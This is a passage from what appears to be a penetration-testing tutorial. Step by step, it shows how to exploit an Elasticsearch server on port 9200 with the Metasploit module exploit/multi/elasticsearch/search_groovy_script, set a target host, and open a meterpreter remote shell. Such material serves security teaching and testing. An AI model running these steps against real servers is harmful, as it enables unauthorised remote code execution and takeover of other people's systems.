How to do it...

The following steps demonstrate the exploitation of Elasticsearch:

1. The default port is 9200 for Elasticsearch. We start the Metasploit console:

2. We search for the Elasticsearch exploit using this command:

       search elasticsearch

The following screenshot shows the output for the preceding command:

3. We choose the exploit in this case:

        use exploit/multi/elasticsearch/search_groovy_script

The following screenshot shows the output for the preceding command:

4. We set RHOST using the set RHOST x.x.x.x command:

5. We run the following command:

        run

6. We have our meterpreter session ready.